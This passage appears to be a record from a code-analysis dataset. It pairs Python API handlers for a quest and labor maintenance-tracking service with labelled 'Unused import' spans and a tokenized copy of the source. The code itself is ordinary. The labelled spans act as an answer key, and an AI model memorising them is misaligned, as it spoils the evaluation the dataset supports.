LaborHandler(ApiHandler):\n\n", "metadata": "root.LaborHandler", "header": "['module', '___EOS___']", "index": 1889 }, { "content": " def get(self, id):\n \"\"\"**Get a specific Labor**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n GET /api/v1/labors/1 HTTP/1.1\n Host: localhost\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"id\": 23,\n \"startingLaborId\": null,\n \"questId\": 5,\n \"hostId\": 26,\n \"for_creator\": true,\n \"for_owner\": false,\n \"creationTime\": timestamp,\n \"targetTime\": timestamp,\n \"ackTime\": timestamp,\n \"ackUser\": string,\n \"completionTime\": timestamp,\n \"creationEventId\": 127,\n \"completionEventId\": 212,\n }\n\n :param id: id of the Labor to retrieve\n :type id: int\n\n :query string expand: (*optional*) supports hosts, eventtypes\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n :statuscode 404: The EventType was not found.\n \"\"\"\n offset, limit, expand = self.get_pagination_values()\n labor = self.session.query(Labor).filter_by(id=id).scalar()\n if not labor:\n raise exc.NotFound(\"No such Labor {} found\".format(id))\n\n self.success(\n labor.to_dict(base_uri=self.href_prefix, expand=expand)\n )", "metadata": "root.LaborHandler.get", "header": "['class', 'LaborHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 1890 }, { "content": " def put(self, id):\n \"\"\"**Update a Labor**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n PUT /api/v1/labors/23 HTTP/1.1\n Host: localhost\n Content-Type: application/json\n\n {\n \"questId\": 1,\n }\n\n or\n\n .. sourcecode:: http\n\n {\n \"ackUser\": \"johnny\"\n }\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"id\": 23,\n \"questId\": 1,\n \"hostId\": 26,\n \"creationTime\": timestamp,\n \"targetTime\": timestamp,\n \"ackTime\": timestamp,\n \"ackUser\": \"johnny\",\n \"completionTime\": timestamp,\n \"creationEventId\": 127,\n \"completionEventId\": 212,\n }\n\n :param id: id of the Labor that should be updated.\n :type id: string\n\n :reqjson int questId: The Quest ID to which this Fate should now be associated.\n :reqjson string ackUser: The username to log as having acknowledged this Labor\n\n :reqheader Content-Type: The server expects a json body specified with\n this header.\n\n :statuscode 200: The request was successful.\n :statuscode 400: The request was malformed.\n :statuscode 401: The request was made without being logged in.\n :statuscode 403: The request was made with insufficient permissions.\n :statuscode 404: The Labor was not found.\n :statuscode 409: There was a conflict with another resource.\n \"\"\"\n\n log.info(\"LABOR: Update {}\".format(id))\n\n labor = self.session.query(Labor).filter_by(id=id).scalar()\n if not labor:\n raise exc.NotFound(\"No such Labor {} found\".format(id))\n\n quest_id = None\n ack_user = None\n try:\n if \"questId\" in self.jbody:\n quest_id = self.jbody[\"questId\"]\n\n if \"ackUser\" in self.jbody:\n ack_user = self.jbody[\"ackUser\"]\n if not EMAIL_REGEX.match(ack_user):\n ack_user += \"@\" + self.domain\n\n if not quest_id and not ack_user:\n raise exc.BadRequest(\"Must update either questId or ackUser\")\n except KeyError as err:\n raise exc.BadRequest(\n \"Missing Required Argument: {}\".format(err.message)\n )\n\n try:\n if quest_id:\n labor.update(quest_id=quest_id)\n if ack_user:\n labor.acknowledge(ack_user)\n except IntegrityError as err:\n raise exc.Conflict(str(err.orig))\n\n json = labor.to_dict(self.href_prefix)\n\n self.success(json)\n\n log.info(\"LABOR: Updated {}: {} {}\".format(\n id,\n \"quest is now {}\".format(quest_id) if quest_id else \"\",\n \"acked by user {}\".format(ack_user) if ack_user else \"\"\n ))", "metadata": "root.LaborHandler.put", "header": "['class', 'LaborHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 1942 }, { "content": " def delete(self, id):\n \"\"\"**Delete a Labor**\n\n *Not supported*\n \"\"\"\n self.not_supported()", "metadata": "root.LaborHandler.delete", "header": "['class', 'LaborHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 2045 }, { "content": "class QuestsHandler(ApiHandler):\n", "metadata": "root.QuestsHandler", "header": "['module', '___EOS___']", "index": 2053 }, { "content": " def post(self):\n \"\"\"**Create a Quest entry**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n POST /api/v1/quests HTTP/1.1\n Host: localhost\n Content-Type: application/json\n {\n \"fateId\": 1,\n \"creator\": \"johnny\",\n \"targetTime\": timestamp,\n \"description\": \"This is a quest almighty\",\n \"hostnames\": [],\n \"hostQuery\": \"tag=value\"\n }\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 201 OK\n Location: /api/v1/hosts/example\n\n {\n \"status\": \"created\",\n \"id\": 1,\n \"href\": \"/api/v1/quests/1\",\n \"creator\": \"johnny\",\n \"embarkTime\": timestamp,\n \"targetTime\": timestamp,\n \"completionTime\": timestamp,\n \"description\": \"This is a quest almighty\",\n \"labors\": [],\n }\n\n :reqjson int eventTypeId: the ID of the EventType to for the Events that will be thrown in the creation of this Quest\n :regjson string creator: the user creating this Quest\n :regjson array hostnames: the array of hostnames that will be part of this Quest\n :regjson string hostQuery: the query to send to the plugin to come up with the list of hostnames that will be part of this Quest\n :regjson string description: The human readable description this Quest\n :regjson timestamp targetTime: (*optional*) The target date for the completion of this Quest\n\n :reqheader Content-Type: The server expects a json body specified with\n this header.\n\n :resheader Location: URL to the created resource.\n\n :statuscode 201: The Quest was successfully created.\n :statuscode 400: The request was malformed.\n :statuscode 401: The request was made without being logged in.\n :statuscode 409: There was a conflict with another resource.\n\n \"\"\"\n\n tx = id_generator()\n\n log.info(\"QUEST [{}]: Creating a new quest\".format(tx))\n\n try:\n fate_id = self.jbody[\"fateId\"]\n creator = self.jbody[\"creator\"]\n if not EMAIL_REGEX.match(creator):\n creator += \"@\" + self.domain\n description = self.jbody[\"description\"]\n hostnames = self.jbody.get(\"hostnames\") or []\n\n if \"targetTime\" in self.jbody:\n target_time = parser.parse(\n self.jbody[\"targetTime\"]\n )\n target_time = target_time.replace(tzinfo=None)\n if target_time <= datetime.utcnow():\n raise exc.BadRequest(\n \"Quest target date must be in future\"\n )\n else:\n target_time = None\n except KeyError as err:\n raise exc.BadRequest(\n \"Missing Required Argument: {}\".format(err.message)\n )\n except ValueError as err:\n raise exc.BadRequest(err.message)\n\n log.info(\n \"QUEST [{}]: {} creating quest with fate {} for hosts {}\".format(\n tx, creator, fate_id, \", \".join(hostnames)\n )\n )\n\n fate = (\n self.session.query(Fate).get(fate_id)\n )\n\n if fate is None:\n self.write_error(400, message=\"Bad fate id {}\".format(fate_id))\n return\n\n # If a host query was specified, we need to talk to the external\n # query server to resolve this into a list of hostnames\n if \"hostQuery\" in self.jbody:\n query = self.jbody[\"hostQuery\"]\n response = PluginHelper.request_get(params={\"query\": query})\n if response.json()[\"status\"] == \"ok\":\n hostnames.extend(response.json()[\"results\"])\n log.info(\n \"QUEST [{}]: Hostnames after query: {}\".format(\n tx, \", \".join(hostnames)\n )\n )\n\n # We need to create a list of hostnames that don't have a Host record\n new_hosts_needed = list(hostnames)\n hosts = (\n self.session.query(Host).filter(Host.hostname.in_(hostnames)).all()\n )\n for host in hosts:\n new_hosts_needed.remove(str(host.hostname))\n\n # if we need to create hosts, do them all at once\n if new_hosts_needed:\n Host.create_many(self.session, new_hosts_needed)\n hosts = (\n self.session.query(Host).filter(\n Host.hostname.in_(hostnames)\n ).all()\n )\n\n log.info(\"QUEST [{}]: Working with {} hosts\".format(tx, len(hosts)))\n\n if len(hosts) == 0:\n raise exc.BadRequest(\"No hosts found with given list\")\n\n try:\n quest = Quest.create(\n self.session, creator, hosts, target_time, fate_id=fate_id,\n description=description\n )\n except IntegrityError as err:\n raise exc.Conflict(err.orig.message)\n except exc.ValidationError as err:\n raise exc.BadRequest(err.message)\n\n self.session.flush()\n self.session.commit()\n\n json = quest.to_dict(self.href_prefix)\n\n json[\"labors\"] = (\n [labor.to_dict(self.href_prefix)\n for labor in quest.get_open_labors()]\n )\n\n self.created(\"/api/v1/quests/{}\".format(quest.id), json)\n\n log.info(\n \"QUEST [{}]: Created quest {}\".format(tx, quest.id)\n )", "metadata": "root.QuestsHandler.post", "header": "['class', 'QuestsHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 2054 }, { "content": " def get(self):\n \"\"\"**Get all Quests**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n GET /api/v1/quests?progressInfo=true HTTP/1.1\n Host: localhost\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"limit\": int,\n \"offset\": int,\n \"totalQuests\": int,\n \"quests\": [\n {\n \"id\": 1,\n \"href\": \"/api/v1/quests/1\",\n \"creator\": \"johnny\",\n \"embarkTime\": timestamp,\n \"targetTime\": timestamp,\n \"completionTime\": timestamp,\n \"description\": \"This is a quest almighty\",\n \"totalLabors\": 20,\n \"openLabors\": 10,\n \"percentComplete\": 50,\n \"labors\": [],\n },\n ...\n ],\n }\n\n :query boolean filterClosed: (*optional*) if true, filter out completed Quests\n :query boolean progressInfo: (*optional*) if true, include progress information\n :query string byCreator: (*optional*) if set, filter the quests by a particular creator\n :query string hostnames: (*optional*) filter to quests that pertain to a particular host\n :query string hostQuery: (*optional*) filter quests to those involving hosts returned by the external query\n :query int limit: (*optional*) Limit result to N resources.\n :query int offset: (*optional*) Skip the first N resources.\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n \"\"\"\n filter_closed = self.get_argument(\"filterClosed\", None)\n progress_info = self.get_argument(\"progressInfo\", None)\n by_creator = self.get_argument(\"byCreator\", None)\n hostnames = self.get_argument(\"hostnames\", None)\n host_query = self.get_argument(\"hostQuery\", None)\n\n if hostnames:\n hostnames = hostnames.split(\",\")\n else:\n hostnames = []\n\n if host_query:\n response = PluginHelper.request_get(params={\"query\": host_query})\n if (\n response.status_code == 200\n and response.json()[\"status\"] == \"ok\"\n ):\n for hostname in response.json()[\"results\"]:\n hostnames.append(hostname)\n else:\n raise exc.BadRequest(\"Bad host query: {}\".format(host_query))\n\n # We used to sort in reverse embark time so that the default would be\n # to show the latest quests but we don't want to do that anymore\n # quests = self.session.query(Quest).order_by(desc(Quest.embark_time))\n quests = self.session.query(Quest).order_by(Quest.embark_time)\n\n if hostnames:\n quests = (\n quests.join(Quest.labors).join(Labor.host)\n .filter(Host.hostname.in_(hostnames))\n ).group_by(Quest)\n\n if filter_closed:\n quests = quests.filter(Quest.completion_time == None)\n\n if by_creator:\n quests = quests.filter(Quest.creator == by_creator)\n\n offset, limit, expand = self.get_pagination_values()\n quests, total = self.paginate_query(quests, offset, limit)\n\n quests = quests.from_self().order_by(Quest.embark_time)\n\n quests_json = []\n for quest in quests.all():\n quest_json = quest.to_dict(\n base_uri=self.href_prefix,\n expand=set(expand)\n )\n if progress_info:\n quest_json = quest.calculate_progress(quest_json)\n quests_json.append(quest_json)\n\n json = {\n \"limit\": limit,\n \"offset\": offset,\n \"totalQuests\": total,\n \"quests\": quests_json\n }\n\n self.success(json)", "metadata": "root.QuestsHandler.get", "header": "['class', 'QuestsHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 2216 }, { "content": "class QuestHandler(ApiHandler):\n\n", "metadata": "root.QuestHandler", "header": "['module', '___EOS___']", "index": 2331 }, { "content": " def get(self, id):\n \"\"\"**Get a specific Quest**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n GET /api/v1/quests/1 HTTP/1.1\n Host: localhost\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"id\": 1,\n \"href\": \"/api/v1/quests/1\",\n \"creator\": \"johnny\",\n \"embarkTime\": timestamp,\n \"targetTime\": timestamp,\n \"completionTime\": timestamp,\n \"description\": \"This is a quest almighty\",\n \"labors\": [],\n }\n\n :param id: id of the Quest to retrieve\n :type id: int\n\n :query string expand: (*optional*) supports labors, hosts, events, eventtypes\n :query boolean progressInfo: (*optional*) if true, include progress information\n :query boolean onlyOpenLabors: (*optional*) if true, only return open labors\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n :statuscode 404: The EventType was not found.\n \"\"\"\n offset, limit, expand = self.get_pagination_values()\n\n progress_info = self.get_argument(\"progressInfo\", False)\n only_open_labors = self.get_argument(\"onlyOpenLabors\", False)\n\n quest = self.session.query(Quest).filter_by(id=id).scalar()\n\n if not quest:\n raise exc.NotFound(\"No such Quest {} found\".format(id))\n\n out = quest.to_dict(\n base_uri=self.href_prefix, expand=set(expand),\n only_open_labors=only_open_labors\n )\n\n if progress_info:\n out = quest.calculate_progress(out)\n\n self.success(out)", "metadata": "root.QuestHandler.get", "header": "['class', 'QuestHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 2332 }, { "content": " def put(self, id):\n \"\"\"**Update a Quest**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n PUT /api/v1/quest/1 HTTP/1.1\n Host: localhost\n Content-Type: application/json\n\n {\n \"description\": \"New desc\",\n \"creator\": \"tammy\"\n }\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"id\": 1,\n \"href\": \"/api/v1/quests/1\",\n \"creator\": \"tammy\",\n \"embarkTime\": timestamp,\n \"targetTime\": timestamp,\n \"completionTime\": timestamp,\n \"description\": \"New desc\",\n \"labors\": [],\n }\n\n :param id: id of the Quest that should be updated.\n :type id: string\n\n :reqjson string description: the new description of the Quest\n :reqjson string creator: The new username of the creator (owner)\n :regjson timestamp targetTime: Set a new targetTime\n\n :reqheader Content-Type: The server expects a json body specified with\n this header.\n\n :statuscode 200: The request was successful.\n :statuscode 400: The request was malformed.\n :statuscode 401: The request was made without being logged in.\n :statuscode 403: The request was made with insufficient permissions.\n :statuscode 404: The Quest was not found.\n :statuscode 409: There was a conflict with another resource.\n \"\"\"\n\n log.info(\"QUEST: Updating {}\".format(id))\n\n quest = self.session.query(Quest).filter_by(id=id).scalar()\n\n if not quest:\n raise exc.NotFound(\"No such Quest {} found\".format(id))\n\n new_desc = None\n new_creator = None\n new_target_time = None\n try:\n if \"description\" in self.jbody:\n new_desc = self.jbody[\"description\"]\n if \"creator\" in self.jbody:\n new_creator = self.jbody['creator']\n if not EMAIL_REGEX.match(new_creator):\n new_creator += \"@\" + self.domain\n if \"targetTime\" in self.jbody:\n new_target_time = parser.parse(\n self.jbody[\"targetTime\"]\n )\n new_target_time = new_target_time.replace(tzinfo=None)\n if new_target_time <= datetime.utcnow():\n raise exc.BadRequest(\n \"Quest target date must be in future\"\n )\n except KeyError as err:\n raise exc.BadRequest(\n \"Missing Required Argument: {}\".format(err.message))\n\n try:\n if new_desc:\n quest = quest.update(\n description=new_desc\n )\n if new_creator is not None:\n quest = quest.update(\n creator=new_creator\n )\n if new_target_time:\n quest = quest.update(\n target_time=new_target_time\n )\n\n except IntegrityError as err:\n raise exc.Conflict(str(err.orig))\n\n json = quest.to_dict(self.href_prefix)\n\n self.success(json)\n\n log.info(\"QUEST [{}]: Updated: {} {} {}\".format(\n id,\n \"new description {}\".format(new_desc) if new_desc else \"\",\n \"new creator {}\".format(new_creator) if new_creator else \"\",\n \"new target time {}\".format(new_target_time) if new_target_time else \"\"\n ))", "metadata": "root.QuestHandler.put", "header": "['class', 'QuestHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 2392 }, { "content": " def delete(self, id):\n \"\"\"**Delete a Quest**\n\n *Not supported*\n \"\"\"\n self.not_supported()", "metadata": "root.QuestHandler.delete", "header": "['class', 'QuestHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 2503 }, { "content": "class ExtQueryHandler(ApiHandler):\n", "metadata": "root.ExtQueryHandler", "header": "['module', '___EOS___']", "index": 2511 }, { "content": " def get(self):\n \"\"\"**Get results from the external query services**\n\n The frontend will need to run queries against the external query server\n so that users can validate the results before working with a particular\n query. This handler acts as a passthrough so users can do exactly that.\n\n **Example Request:**\n\n .. sourcecode:: http\n\n GET /api/v1/query?query=server HTTP/1.1\n Host: localhost\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"results\": [\n {\n \"id\": 1,\n \"href\": \"/api/v1/hosts/server1\",\n \"hostname\": \"server1\",\n },\n ...\n ]\n }\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n \"\"\"\n\n response = PluginHelper.request_get(params=self.request.arguments)\n if (\n response.status_code == 200\n and response.json()[\"status\"] == \"ok\"\n ):\n result_json = {\n \"results\": response.json()[\"results\"],\n }\n else:\n raise exc.BadRequest(\"Bad host query: {}\".format(\n self.request.arguments\n ))\n\n self.success(result_json)", "metadata": "root.ExtQueryHandler.get", "header": "['class', 'ExtQueryHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 2512 }, { "content": " def post(self):\n \"\"\"\n Pass through post to the external query handler\n \"\"\"\n\n json_data = json.loads(self.request.body)\n response = PluginHelper.request_post(json_body=json_data)\n if (\n response.status_code == 200\n and response.json()[\"status\"] == \"ok\"\n ):\n result_json = {\n \"results\": response.json()[\"results\"],\n }\n else:\n raise exc.BadRequest(\"Bad host query: {}\".format(\n self.request.body\n ))\n\n self.success(result_json)", "metadata": "root.ExtQueryHandler.post", "header": "['class', 'ExtQueryHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 2564 }, { "content": "class CurrentUserHandler(ApiHandler):", "metadata": "root.CurrentUserHandler", "header": "['module', '___EOS___']", "index": 2586 }, { "content": " def get(self):\n \"\"\" **Get a current authenticated user**\n\n **Example Request**:\n\n .. sourcecode:: http\n\n GET /api/v1/currentUser HTTP/1.1\n Host: localhost\n\n **Example response**:\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"user\": \"user@example.com\"\n }\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n :statuscode 403: The request was made with insufficient permissions.\n :statuscode 404: The User was not found.\n \"\"\"\n\n user = None\n if self.request.headers.get('X-Pp-User'):\n user = self.request.headers['X-Pp-User']\n\n result_json = {\n \"user\": user\n }\n\n self.success(result_json)", "metadata": "root.CurrentUserHandler.get", "header": "['class', 'CurrentUserHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 2587 }, { "content": "class ServerConfig(ApiHandler):", "metadata": "root.ServerConfig", "header": "['module', '___EOS___']", "index": 2626 }, { "content": " def get(self):\n \"\"\" **Get the server's configuration information**\n\n This is used to get the config information that the front end might\n want to know about.\n\n **Example Request**:\n\n .. sourcecode:: http\n\n GET /api/v1/serverConfig HTTP/1.1\n Host: localhost\n\n **Example response**:\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"domain\": \"example.com\"\n }\n \"\"\"\n result_json = {\n \"domain\": settings.domain,\n \"fullstoryId\": settings.fullstory_id\n }\n\n self.success(result_json)", "metadata": "root.ServerConfig.get", "header": "['class', 'ServerConfig', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 2627 }, { "content": "class QuestMailHandler(ApiHandler):", "metadata": "root.QuestMailHandler", "header": "['module', '___EOS___']", "index": 2660 }, { "content": " def post(self, id):\n \"\"\"**Send a message to all owners that are involved with a quest**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n POST /api/v1/quest/20/mail HTTP/1.1\n Host: localhost\n Content-Type: application/json\n {\n \"serverOwners\": true,\n \"laborOwners\": false,\n \"from\": \"user@example.com\",\n \"subject\": \"Hello!\",\n \"message\": \"Work is about to commence.\"\n }\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 201 OK\n Location: /api/v1/hosts/example\n\n {\n \"status\": \"created\",\n }\n\n **Note:**\n Hermes will automatically append a link to the quest so users can go there directly from the email\n\n :param id the ID of the quest we are working with when sending an email\n :regjson boolean serverOwners: send to all owners of servers that have labors in this quest\n :regjson boolean laborOwners: send to all labor owners (e.g. server owners if they own the active labor or the quest owner if they own the active labor)\n :regjson string from: the sender email address\n :regjson string subject: the subject line of the email\n :regjson string message: the body of the message\n\n :reqheader Content-Type: The server expects a json body specified with\n this header.\n\n :statuscode 201: Email was created and sent\n\n \"\"\"\n\n server_owners = self.jbody.get('serverOwners', False)\n labor_owners = self.jbody.get('laborOwners', False)\n\n if not server_owners and not labor_owners:\n raise exc.BadRequest(\n \"Must specify serverOwners and/or laborOwners as true\"\n )\n\n log.info(\n \"QUEST [{}]: sent email to {}{}{}\".format(\n id,\n \"server owners\" if server_owners else \"\",\n \" and \" if server_owners and labor_owners else \"\",\n \"labor owners\" if labor_owners else \"\"\n )\n )\n\n try:\n from_address = self.jbody['from']\n subject = self.jbody['subject']\n message = self.jbody['message']\n except KeyError as err:\n raise exc.BadRequest(\n \"Missing Required Argument: {}\".format(err.message)\n )\n except ValueError as err:\n raise exc.BadRequest(err.message)\n\n # Open the quest and grab the labors\n quest = self.session.query(Quest).get(id)\n if not quest:\n raise exc.NotFound(\n \"Quest {} not found\".format(id)\n )\n\n labors = quest.labors\n # Grab the hostnames and look up the owners\n hostnames = set()\n for labor in labors:\n hostnames.add(labor.host.hostname)\n\n # get the owner information\n try:\n results = PluginHelper.request_post(\n json_body={\n \"operation\": \"owners\",\n \"hostnames\": list(hostnames)\n }\n )\n owners = results.json()['results']\n except Exception as e:\n logging.error(\"Failed to get host owners: \" + e.message)\n raise exc.BadRequest(\n \"Host owners not found\"\n )\n\n # get contact information from strongpoc\n strongpoc_contacts = None\n if settings.strongpoc_server:\n # get the contact information\n try:\n results = PluginHelper.request_get(\n path = \"/api/pocs/?expand=teams&expand=service_providers&expand=contact_types&service_provider__name=hermes&contact_type__name=email\",\n server = settings.strongpoc_server\n )\n strongpoc_results = results.json()\n strongpoc_contacts = {}\n for result in strongpoc_results:\n strongpoc_contacts[result['team']['name']] = result['value']\n except Exception as e:\n logging.error(\"Failed to get strongpoc contacts: \" + e.message)\n\n recipients = set()\n\n # If we want labor owners, loop through and see if who that should\n # be and add them to recipients\n if labor_owners:\n for labor in labors:\n if labor.for_creator:\n # add quest creator to recipients\n recipients.add(quest.creator)\n if labor.for_owner:\n # add machine owner to recipients\n owner = owners[labor.host.hostname]\n if strongpoc_contacts and owner in strongpoc_contacts:\n recipients.add(strongpoc_contacts[owner])\n else:\n recipients.add(\"{}@{}\".format(owner, settings.domain))\n\n # If we want server owners, loop through hosts\n # and add owners to the list\n if server_owners:\n for labor in labors:\n # add machine owner to recipients\n owner = owners[labor.host.hostname]\n if strongpoc_contacts and owner in strongpoc_contacts:\n recipients.add(strongpoc_contacts[owner])\n else:\n recipients.add(\"{}@{}\".format(owner, settings.domain))\n\n # Send email\n email_message(recipients, subject, message, sender=from_address)\n\n self.created()\n\n log.info(\n \"QUEST [{}]: sent email to {}{}{}\".format(\n id,\n \"server owners\" if server_owners else \"\",\n \" and \" if server_owners and labor_owners else \"\",\n \"labor owners\" if labor_owners else \"\"\n )\n )", "metadata": "root.QuestMailHandler.post", "header": "['class', 'QuestMailHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 2661 } ]
[ { "span": "from dateutil import parser, tz", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 31 }, { "span": "import pytz", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 11 }, { "span": "import string", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 13 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "division_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "dateutil_", "import_", "parser_", ",_", "tz_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pytz_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sqlalchemy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sqlalchemy_", "import_", "desc_", ",_", "or\\u_", ",_", "and\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "sqlalchemy_", "._", "exc_", "import_", "Int", "egr", "it", "y", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "string_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "._", "util_", "import_", "Ap", "i", "Handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "util_", "import_", "id", "\\u", "generator_", ",_", "Plug", "in", "Helper_", ",_", "email", "\\u", "message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "import_", "exc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "models_", "import_", "Host_", ",_", "Event", "Type_", ",_", "Event_", ",_", "Labo", "r_", ",_", "Fat", "e_", ",_", "Quest", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "settings_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "=_", "logging_", "._", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "EMA", "IL", "\\u", "REGEX_", "=_", "re_", "._", "compile_", "(_", "r", "\"[", "^", "@]", "+", "@[", "^", "@]", "+\\\\.", "[", "^", "@]", "+\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Host", "s", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Host", "s", "Handler_", "(_", "Ap", "i", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "**", "Creat", "e", " ", "a", " ", "Host", " ", "entry", "**", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "Exam", "ple", " ", 